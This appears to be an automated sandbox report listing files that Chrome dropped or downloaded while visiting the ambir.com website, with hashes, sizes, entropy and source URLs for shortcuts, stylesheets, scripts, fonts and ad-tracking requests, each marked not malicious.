| Category: | dropped |
| Size (bytes): | 6220 |
| Entropy (8bit): | 3.7168686943556564 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | 40097FF6CF4715F0729AA134A57122E7 |
| SHA1: | 152473EDE9E888156E094BFAFD1BDB9C12D505A0 |
| SHA-256: | 6EDB55887C2E9FADB97F08C5D9C86FF67E7984D93C7E7BD83AE87CFEE16CE336 |
| SHA-512: | ED80F473F0805B1EEAFEE7419949D30FBE3218D626335D6E305E33BE145E696E1FA43570548E6169B921E8221F3AC3C4013DB5CE9F0F860D099AA2CCDD7E207A |
| Malicious: | false |
| Reputation: | unknown |
| Preview: |
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk
Download File
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 2673 |
| Entropy (8bit): | 3.9807369507353423 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | 4F8AE8D60E5B1EE512F27EAC7A3D6EB3 |
| SHA1: | C8506AD8FFC4ECA7233E6411CB43BD1233271729 |
| SHA-256: | 28BDEF5940DB38FED3C195AA33EA946E4B9AA08E85B45A50A64F1F717A271771 |
| SHA-512: | 854F3B9F479F85FE9B52144B4D83D2A16E833C17E49DBA9C250005295542C50ACF25B8F15AC4CE5C6D5BFCA94A3E6F54351F7EC5D33DDAAEF57CF7F54B06D117 |
| Malicious: | false |
| Reputation: | unknown |
| Preview: |
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Download File
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 2675 |
| Entropy (8bit): | 3.9974584760469605 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | 6D5651961042C60A5A248C03FD1D6BD2 |
| SHA1: | B180666C555D595470EC41103A2F126085AADACB |
| SHA-256: | E889FBD85943216FE04248385A9A6B0ECBFB352F0E570CEA1308F80CF00C617C |
| SHA-512: | F5D76D3CA14F05FFE42E97768176A0D36EAEAABF2700F57539E74091D4529A78533CEDFABE544C00E734148A4B3FA26C541923C5D90B658CDCD7A2C256597623 |
| Malicious: | false |
| Reputation: | unknown |
| Preview: |
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Download File
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 2689 |
| Entropy (8bit): | 4.005235579252259 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | B96292F8153B6F4B89DBD21887648F6F |
| SHA1: | ADA245726D8D9C8982C0320BB1EE2645EFE79C37 |
| SHA-256: | 53225FA5DE45200C290C62A4323126E96FF1BBA38E25BD2CFF7C228131BF562D |
| SHA-512: | 74B607F1E206F5F10F4A4669CF7E7C21C21271A386D443FAC246DBDDBEB48D510B679B0D9A8CA0E45B47EF2C368A214C676621333F23EB02C5796CA702551F35 |
| Malicious: | false |
| Reputation: | unknown |
| Preview: |
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Download File
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 2677 |
| Entropy (8bit): | 3.99149562533334 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | D8D4EB3E5E557E65A690AE3768A1081A |
| SHA1: | 24323138BB80FE56F45545EDE72EB3C93983D971 |
| SHA-256: | 1995F3D86FB0961AD96A148D1EE2B0901B5859197460D9899AE89DD944971A3A |
| SHA-512: | A560626ADB73620D8246E9D927D1FBE9EE5BAAB7DAA21625B38980B4563FFD91024B07DB8B25F8DB90FEAE639FFDE61824F3D1204F9D13427CF9CDB9A6F5040F |
| Malicious: | false |
| Reputation: | unknown |
| Preview: |
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Download File
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 2677 |
| Entropy (8bit): | 3.982194481773891 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | 467236372CEA73892E790D41C97DE4A0 |
| SHA1: | 2D0AF3A441B299487E43A1FA39E2543C6ABB5E7C |
| SHA-256: | 9E09861DBE9B0F4870CE006C5DE6D0975E28BDBAB0C90DEED910DA7EF8920AE2 |
| SHA-512: | 98F07065C0667875457BD2623625024AE9F0531777DC8F7134BFAC1447D0ADFC0C88C41981C03B8CCC3CB3324CD07E818E94D669FB57515CEC3BB142DE5ACF91 |
| Malicious: | false |
| Reputation: | unknown |
| Preview: |
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Download File
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 2679 |
| Entropy (8bit): | 3.991027283185194 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | 85A2F44F9F884C190CE491AA792E2B6E |
| SHA1: | 7DF14E717511B86A3D8D4929B041473CAC7C6962 |
| SHA-256: | BAB290EA94D5900BE63AB776E2B13708BA88A4CF4FAA4B5409D184DD869D7508 |
| SHA-512: | 6F453A39356BA678A39E7D229FA63764A78098FA8B28BCA20D55029BBB4694EC40DC05791672A7ADBA6BFEFE001B20351D7991011D3BF5DBB07F3C3365DD32C4 |
| Malicious: | false |
| Reputation: | unknown |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 4762 |
| Entropy (8bit): | 5.826181108225095 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | 35B855C09678F07F182D96D57A9E2A5C |
| SHA1: | 5D843303872D7F5288EEFF12348EB79BD68609DF |
| SHA-256: | 972448154D4E51B2A560DCFDA4B4E6F69F2AAF973BADF4F0A3EE7845E995F306 |
| SHA-512: | A7DC04C16C511446B6B93A721EF58F0844750365C3E63E7716FE56F799A831A8E37B48590526498343D7AF6EF83B49829B5F0AD5AE9D526D8939DDAF4EBC24C6 |
| Malicious: | false |
| Reputation: | unknown |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 760 |
| Entropy (8bit): | 5.173628363815211 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | 5D7B0CF51F3D2D9063021EBBA838B66C |
| SHA1: | B53E46250C02C5EA0706A3928B48275AAD86421A |
| SHA-256: | A69EE94B21824602DD963BF1D7512E5E202AF9137CB6A5D1352D645494A7DF38 |
| SHA-512: | F4D7F719106D760E06EA023372F9897012D2B0653F5E3B184CEC7DCEC4F2B5B974DDE558BAB4321C32302155745F9AE58532326C3B5835254547967099FDBA7E |
| Malicious: | false |
| Reputation: | unknown |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | downloaded |
| Size (bytes): | 42908 |
| Entropy (8bit): | 5.202126838584914 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | 2E2AC2C00B96F018D716F5714C28771D |
| SHA1: | C958B2793D5830CD86A0B6DCCF42B225118196A7 |
| SHA-256: | 548B66FF13DBCFA7830840A9DCD635E69EC8E6A3AE141A23BF11310F583FFA16 |
| SHA-512: | 5124819318CE23B58D626F66175C24329683193A526C1D4612CA4FB0D2EF4F446AEF7581613424D55E788C6F8135E9562109B2F034A3A41D370F8CA1867677B9 |
| Malicious: | false |
| Reputation: | unknown |
| URL: | https://ambir.com/wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js?ver=3.25.2 |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 44342 |
| Entropy (8bit): | 5.0793850768725 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | F416F9031FEF25AE25BA9756E3EB6978 |
| SHA1: | E2A600E433DF72B4CFDE93D7880E3114917A3CBE |
| SHA-256: | A53C43F834B32309B084EA9314DF8307E9C78CEE2202C6E07F216AE4AE5B704D |
| SHA-512: | 6CFB3B01EEA956F84E4A221CC940A547BFEAD8E02C462A2FC38BC0917FB325BC374A101E7AA7B3AB9D11208708511ABB39ADB4AD6DA7DAAF9FC9704D714F65AF |
| Malicious: | false |
| Reputation: | unknown |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | downloaded |
| Size (bytes): | 13359 |
| Entropy (8bit): | 7.96371698949374 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | 667B5E861FF933251B54EF705069F8B6 |
| SHA1: | CFBA95D8AD0E9064970192AA35CEF615660F84F4 |
| SHA-256: | 0270FCFB710455DDA05F2B1DD1957D5A1A5ECC989AE99D1ED48081592349136D |
| SHA-512: | B2DC35D34CB8AC0F2EBC5BCAE2DEAD46E4ACE579045C658314CCB265D5FEC9C182D11A1701A721FC2B571D4068D0C2D44E934BE956204BF87FAF10651841CA11 |
| Malicious: | false |
| Reputation: | unknown |
| URL: | https://ambir.com/wp-content/uploads/2023/09/687_Support_400x250.png |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | downloaded |
| Size (bytes): | 107268 |
| Entropy (8bit): | 5.288095314240752 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | BF23D2CA0C00A63FF31909187E7A4DB0 |
| SHA1: | 999E268D7A33323C4ED56378537EA14E99604E7B |
| SHA-256: | B98F758C4902282A7FB876B9E0AF7B14254E267F0F5537C507E76A4AA87BE5BF |
| SHA-512: | A77A3DFECF429CBD697543BE389DA35F9B13663859E28F443707807E1538C99B3F282C6C03DA93963FBA1C494902E339A2E8A3B257DD418E45E4CB5818A2DBF8 |
| Malicious: | false |
| Reputation: | unknown |
| URL: | https://ambir.com/cart.json |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | downloaded |
| Size (bytes): | 3501 |
| Entropy (8bit): | 5.383873370647921 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | 147FD3B00C22BA9C939712E9213C24CA |
| SHA1: | 3B48369B86FA0574F35379AACD1F42CC9C98A52B |
| SHA-256: | 70F5B11C1870CF90201A6D5F770CA318A3FA5827C74A8765EDE22B487F7D4532 |
| SHA-512: | E8419A71232EDAC8FD131446777F7D034B3171EFE07B3267479B439E4982650DB65A0D1DDC9F516315D5ED1B01ECFD2F7EB55D75D44AA51EE0AD494D441586D2 |
| Malicious: | false |
| Reputation: | unknown |
| URL: | https://www.googletagmanager.com/static/service_worker/4al0/sw_iframe.html?origin=https%3A%2F%2Fambir.com |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | downloaded |
| Size (bytes): | 8277 |
| Entropy (8bit): | 4.579405354893344 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | CB6A52B83CD75AC9FA3E7904E59CB1CC |
| SHA1: | 81C5A827CE22E452985432A8A952D68F709BFB4C |
| SHA-256: | 1DB980CFB6CD383D8762A5008EA6F6003E3269D3D399421711157893E57D1EE6 |
| SHA-512: | C7B17AA89141FA457C7F39A27AC06C8BA257A8993CF558B8402ECE95926FE36542CCA15C04E72DDA0F21B168E02E08FC7895201D1B4BD599BBD971CDCE9EDCF0 |
| Malicious: | false |
| Reputation: | unknown |
| URL: | https://ambir.com/wp-content/uploads/elementor/css/post-2145.css?ver=1730909294 |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | downloaded |
| Size (bytes): | 926 |
| Entropy (8bit): | 5.490276725803937 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | 293DB0E556DEF5776E13575AD441DBCA |
| SHA1: | C7BDA686993F6BECD8746328D1C45E31ED797345 |
| SHA-256: | 9CCC7ED448F066C918169984EA558A2CA72C0C8E73492178CE51854E7797350E |
| SHA-512: | DE67EF5526B53B24D4B5B8CE963C3567BDF78152D6E4D056EC5D55723B9BB49964CF87D5260D772593820AECF445347E58DC19E0A90F5AD0E4ED12FDE1CE987C |
| Malicious: | false |
| Reputation: | unknown |
| URL: | https://x.adroll.com/igs?advertisable=GXXT3DJJNNBKHGBC62RAND&fpc=367d49cc04c699bf79536ca297cc1a77 |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 272 |
| Entropy (8bit): | 6.49706053618473 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | 583A10EA18008F0447FCB6D1A5C3CF8F |
| SHA1: | 5E7E7B999F58561F5FDB1FD4EEB4B090A659F628 |
| SHA-256: | BBC7070953AF36DFD2DEC15CAB26FB366A721E4AE5A6AA88DE14878258FD0AE0 |
| SHA-512: | 2B8BF6B0E0B48CE5228B97055575B47BCE2D5595371D7AD53A572E5FCFA4B6E3B522E893E3E5EE6874555C7DD73D49A73E61038397760DEFDB2CE9E47CC408D7 |
| Malicious: | false |
| Reputation: | unknown |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | downloaded |
| Size (bytes): | 356 |
| Entropy (8bit): | 7.320764681183866 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | C7D8A3D8E486C5E0E2A340CCEE692CEF |
| SHA1: | 20CA8B41C81786E75B28C7F8A8F48E3A0134A842 |
| SHA-256: | CBBEE2B6E521ABC89B1A3A0849F210368054D3E5FA229E7204253F57C7582CC4 |
| SHA-512: | 0618014C55C3C84CEB50BF20E6642EB92643C06B8EF284F9C8FC3081D3AC9BC380F95DF6EBF60874B92FC52447C64320D09F542325C0C4C6EB4597994585CFC0 |
| Malicious: | false |
| Reputation: | unknown |
| URL: | https://ambir.com/wp-content/themes/ambir/images/cerrar2.png |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 2989 |
| Entropy (8bit): | 7.804837253842459 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | E80A33CBA0DBBEAC0C75D4E005DB1FF9 |
| SHA1: | D6EE1F82A40C638639FA0469CAC20616CD3853FC |
| SHA-256: | 621E738968DD83C51AF6AA9D4445824F11B8070AD419DD04C3561BAC351D6886 |
| SHA-512: | A20CFE8B63AF2EC5924CD3B7E0DE302EECB8209D7E05080A0831AF68E2FED10FA70530AB10335244FB577C44F349A1963B4E08A954321C989BA09253C05A9776 |
| Malicious: | false |
| Reputation: | unknown |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 760 |
| Entropy (8bit): | 5.176421399299282 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | 28384EE652EB73EA590F4438D185A140 |
| SHA1: | 6E74B9B904ECA5E11F635F3135B8082A9A8B9CB1 |
| SHA-256: | B887C89F70C2BD471FE7CCCA160DB5BD9F9600FC5BE27A617FA75430F66266DC |
| SHA-512: | EBA27A591F987596ABC853CCF030FDEDDE2016DD1392E3AEF8DEC0FFD96CFB295D116CF4B3E791DCDE1E005DD8EABD0448BB20F8F890C0DA6901B9E3CB20FCD9 |
| Malicious: | false |
| Reputation: | unknown |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | downloaded |
| Size (bytes): | 760 |
| Entropy (8bit): | 5.1776873001160215 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | FC2493AA9BF99454DA1E419E60F17618 |
| SHA1: | 935968C338A0998D5448322040C086802554577A |
| SHA-256: | 58AF5A0C3D56C9B727F7EC4527B8C01E8C6F5EA94D26E2C5E819F6E234ABF363 |
| SHA-512: | 70FFACC72D73AE073C192CA9542835CE45460A49EDE56DD5D7A0C43AD3789A976FF792AAA2542E08DF5AC42ABEFD48A009AA0014A682C06BA605CF64CE7833D1 |
| Malicious: | false |
| Reputation: | unknown |
| URL: | https://knrpc.olark.com/nrpc/p?j=olark-21731695692258&&c=pollevents&q=4414.92258.2&i=hcV5erxFJWYgh4hU542fr0Ub06jB6B8r&s=7486-534-10-2045&v=UhuMt1tb2IRd1meO542fr0U6k6ABB8aj&g=undefined&cb=hbl.client.callbacks.pollevents&next_poll_time=15000&version=api-1.2.1&pretty=true&_rnd=0.07345771571156234 |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 275808 |
| Entropy (8bit): | 5.558866859076795 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | 158254B1D683BA8BF8BA39566B0E87C0 |
| SHA1: | EA90C113E011F80D64D19F7AF007EE01A7D62A54 |
| SHA-256: | D77E860ECD1354A66C5CD11834AD4E46B4FD3BBC26DB2BEB42FC1D11DA8BBFA0 |
| SHA-512: | C6DB75945C687C1DA1A444844069511CFECA5FCABF4AB32B99284CE786561E30684064B3937D921AF0E11D381845014E88ACE0CCE302434568D334845F6CCAD1 |
| Malicious: | false |
| Reputation: | unknown |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | downloaded |
| Size (bytes): | 18536 |
| Entropy (8bit): | 7.986571198050597 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | 8EFF0B8045FD1959E117F85654AE7770 |
| SHA1: | 227FEE13CEB7C410B5C0BB8000258B6643CB6255 |
| SHA-256: | 89978E658E840B927DDDB5CB3A835C7D8526ECE79933BD9F3096B301FE1A8571 |
| SHA-512: | 2E4FB65CAAB06F02E341E9BA4FB217D682338881DABA3518A0DF8DF724E0496E1AF613DB8E2F65B42B9E82703BA58916B5F5ABB68C807C78A88577030A6C2058 |
| Malicious: | false |
| Reputation: | unknown |
| URL: | https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu4mxK.woff2 |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | downloaded |
| Size (bytes): | 7076 |
| Entropy (8bit): | 5.52488676121649 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | 88A2E0A522036C0B87E03552E56629AA |
| SHA1: | EC9D1157518E753A84DBDE1333A29B34CF776D63 |
| SHA-256: | 788AFB96F2DA68E8729EC35F3D5E381FAD3482D37C54C2195C7311440EE4C27E |
| SHA-512: | 44B953878BD650FE2BCC8B6904620955C3E396B7DC8F41F85D021A8E0404DA41DB15C5499A03F7D4FE9129BB340AA3F6782942CF5327502FD4569BEBBB17073F |
| Malicious: | false |
| Reputation: | unknown |
| URL: | https://www.googletagmanager.com/static/service_worker/4al0/sw.js?origin=https%3A%2F%2Fambir.com |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | downloaded |
| Size (bytes): | 1190 |
| Entropy (8bit): | 7.831312491646247 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | 80D8F4DD25F0D41FC0638E5641734EFE |
| SHA1: | 9348E64DC4784919748B31B2EFBF2AFF3CCA21C8 |
| SHA-256: | 5E4217B5E343E7F92E36EF0FD485DCDEC6D9801076EDADCED8F6756C94CCA7AA |
| SHA-512: | 3C674DFD3A8E2586AA80B41B03889C9D6E9E522881F8ABE255838FCE1828D309F6C83824504541AC54F813312F80C79471F5EF9A95912BDD6FE791373FB081B9 |
| Malicious: | false |
| Reputation: | unknown |
| URL: | https://t.sharethis.com/a/t_.htm?ver=1.1587.23404&cid=c010&cls=B |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | downloaded |
| Size (bytes): | 16 |
| Entropy (8bit): | 3.875 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | C78FC4C73991971736F95F00B7C09E4F |
| SHA1: | 2BFE006346297E446B58308E3F37169A4BC29046 |
| SHA-256: | C70E533105E5FE64092A52295354E975F8D6DDF470DA3F7AE4A6D4F3FC915283 |
| SHA-512: | 5F85D1EA2C4DB38DF3A6FC5414C03EDA186CF86A84F9D0E4C37053791060936B486A0493B54010319FCBA943ED4E95F58045C3EDD135952E69CED9EE87BD21F0 |
| Malicious: | false |
| Reputation: | unknown |
| URL: | https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAmlJ8GgJz5lSxIFDbtXVmo=?alt=proto |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | downloaded |
| Size (bytes): | 18596 |
| Entropy (8bit): | 7.988788312296589 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | C83E4437A53D7F849F9D32DF3D6B68F3 |
| SHA1: | FABEA5AD92ED3E2431659B02E7624DF30D0C6BBC |
| SHA-256: | D9BADA3A44BB2FFA66DEC5CC781CAFC9EF17ED876CD9B0C5F7EF18228B63CEBB |
| SHA-512: | C2CA1630F7229DD2DEC37E0722F769DD94FD115EEFA8EEBA40F9BB09E4FDAB7CC7D15F3DEEA23F50911FEAE22BAE96341A5BACA20B59C7982CAF7A91A51E152F |
| Malicious: | false |
| Reputation: | unknown |
| URL: | https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmWUlfBBc4.woff2 |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | downloaded |
| Size (bytes): | 80725 |
| Entropy (8bit): | 5.321053051010808 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | 56F0E52E2AA7E0C705D392460EC86230 |
| SHA1: | 441680D625372E37E10B5E9D351D522B27B71124 |
| SHA-256: | E4F0DF1CECA8AB0A16DACE56E30F5157C0F6E91A6DF6416C8C32E12F62A3198C |
| SHA-512: | 7A3996EBF45156476895DF7DF96E7B7B2D8D334D1FA82FD2E6CE8813A4F5F59A4B51EDCF60D6DB22CCF5F9C5E241EB9996F5FB426D6EE448B5257B2EE240A536 |
| Malicious: | false |
| Reputation: | unknown |
| URL: | https://ambir.com/wp-content/plugins/quadmenu/build/frontend/style.css?ver=3.1.6 |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | downloaded |
| Size (bytes): | 43 |
| Entropy (8bit): | 3.0314906788435274 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | 325472601571F31E1BF00674C368D335 |
| SHA1: | 2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A |
| SHA-256: | B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B |
| SHA-512: | 717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC |
| Malicious: | false |
| Reputation: | unknown |
| URL: | https://dsum-sec.casalemedia.com/rum?cm_dsp_id=105&external_user_id=YmI4NGU2OGY3ZGQ2NTM3ZjRjMGY2YmZmYzM0NDlmZjA&expiration=1763231651&C=1 |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | downloaded |
| Size (bytes): | 17688 |
| Entropy (8bit): | 4.73558382306716 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | 279A41FE094A1C0FF59F6D84DC6EC0D2 |
| SHA1: | 8DA5B79F8C3F9463A3EBBE2B021CE430F2386EE8 |
| SHA-256: | F3025CB2AFEB54D4DCB1CA02606B0E2E48639EE78A9D55EF4E9A80767351E118 |
| SHA-512: | 079F86B6B0224365C316B6EEB4659A2C46B8CB9003590A6A4A91982026973A8543675F47739803490E6EE0DA9BD3FADDB39BCDBF650E20A40EF93821859FB012 |
| Malicious: | false |
| Reputation: | unknown |
| URL: | https://ambir.com/wp-content/plugins/woocommerce/assets/css/woocommerce-layout.css?ver=9.3.3 |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | downloaded |
| Size (bytes): | 5728 |
| Entropy (8bit): | 5.68964132078938 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | 90DC6484CB0176024F9B5D150E1FF510 |
| SHA1: | 964878CD4113546B92F48611203A6AF83CB1BD04 |
| SHA-256: | BFDDF3D3386CBC1C677C3DA7F3204405B73D9D9582626A78395D8F6F0B8B839D |
| SHA-512: | 2C45AB030C73407667BA52EAADEF3064E1CA1F0B4ECCFE19537C490435819ABD7E6A30BD24E47B890E7C51541632D85455250B1DA4AE4520A12460E84084912F |
| Malicious: | false |
| Reputation: | unknown |
| URL: | https://td.doubleclick.net/td/rul/1070729751?random=1731695650021&cv=11&fst=1731695650021&fmt=3&bg=ffffff&guid=ON&async=1>m=45be4bc0v9180601725z8833545045za201zb833545045&gcd=13l3l3l3l1l1&dma=0&tag_exp=101925629~102067555~102067808~102077855&u_w=1280&u_h=1024&url=https%3A%2F%2Fambir.com%2Fall-ambir-drivers%2F&hn=www.googleadservices.com&frm=0&tiba=All%20Ambir%20Drivers%20-%20AMBIR%20Technology&npa=0&pscdl=noapi&auid=968610978.1731695647&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1 |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | downloaded |
| Size (bytes): | 14510 |
| Entropy (8bit): | 5.077208470174998 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | 21B3C411436805F5884CA32DB35F4FB4 |
| SHA1: | D173F4855A03A83D2BB2C62F55B33E5644A7DF65 |
| SHA-256: | 4366513B2340D9ACDA4D69D3593CD66BE08EAC97EC7EC91C4173135069299046 |
| SHA-512: | 2D077B020CD125B32B6C5CB37BA39EC8B8457863D2F82F1E722F7B9953E6E28D6C1B685EA2E4B61FE7E42618EA53BDCB843A565DF20D0DA55190A325AA9F3FDB |
| Malicious: | false |
| Reputation: | unknown |
| URL: | https://static.olark.com/a/assets/v0/site/7486-534-10-2045.js?cb=2024-11-15 |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | downloaded |
| Size (bytes): | 2710 |
| Entropy (8bit): | 4.610777249483433 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | DBC4D55605149C38AB7D6B859EB82A21 |
| SHA1: | 2B8550E2AEE7F5384E9A8DA13F16C0FFEEED2867 |
| SHA-256: | 6A8EFFF9061807032E96417306E3885D8ADE9CB4EED7C5C0B689DB4459C01D6A |
| SHA-512: | 6B1100100000DB152FDEC750D02751014AC1983D2DA7A2D3B4DAC5C4D011AA418449B81D693FC69A6DB9C07BEA694D3376BD5FFD54E0EB7DCE1FE3AB3D4ED416 |
| Malicious: | false |
| Reputation: | unknown |
| URL: | https://ambir.com/wp-content/plugins/quadmenu/assets/frontend/pscrollbar/perfect-scrollbar.min.css?ver=3.1.6 |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 24914 |
| Entropy (8bit): | 5.133873280164918 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | 142AA1F351BDFC3B2305399D3D1CD013 |
| SHA1: | 76C761D504EE3A36896A4CD55B8319ED9B5AEDBE |
| SHA-256: | A753ECBE36FD071CDC607A69B55A2A7561FEE34D5E74BF6071055156AFC59663 |
| SHA-512: | 526D9A1CB3E3556B0B2E17409919EB299422F80816822B95E934E36EDBFDB936C20E886D97155A306C013D10DEFACD3304A7AD333C1CEE70D72C1DABC2E995DD |
| Malicious: | false |
| Reputation: | unknown |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 926 |
| Entropy (8bit): | 5.4932841390561045 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | 95806FFE5CA4B511CED352B3BF823592 |
| SHA1: | 988AB5F5AA8C54B7D5DEBD30B7125BE613831A2B |
| SHA-256: | C3BAB5AAB508BD2E6C8FA8CAC34358742C1039694264BFA480344A0D05597EDD |
| SHA-512: | 790B880D45CBD589565EF64792DCD26D6673FD4ACB19185862C940371281787D1C3A76CFFE29279DB3633F7551F15274C2CD3B507F1D43317D72E9666BCB93A9 |
| Malicious: | false |
| Reputation: | unknown |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 2571 |
| Entropy (8bit): | 7.569620216823446 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | C03E418FE13A072AA922802FB526E3A3 |
| SHA1: | 55E21B42F708417FB53C8C91274EF212578D6E7C |
| SHA-256: | 13E32DAE11A2EF1BF860EB07D7694805F8A6B905BDE4C9D8EB67AC8191F28C2C |
| SHA-512: | BBDA9759539592A3FEE3C4C3EB2E46B5E3E8B3EE6559FB8AD426CE4435F89C6D615840F5F883832BF1BF2F1653C8ED7A31026FEFB348896B8372E26BC111A745 |
| Malicious: | false |
| Reputation: | unknown |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | downloaded |
| Size (bytes): | 16503 |
| Entropy (8bit): | 4.787714912706331 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | 4893ECD6886D269AB2509EE46261B187 |
| SHA1: | D42641AF10EB64862C5FD99ADFC702314A852CEE |
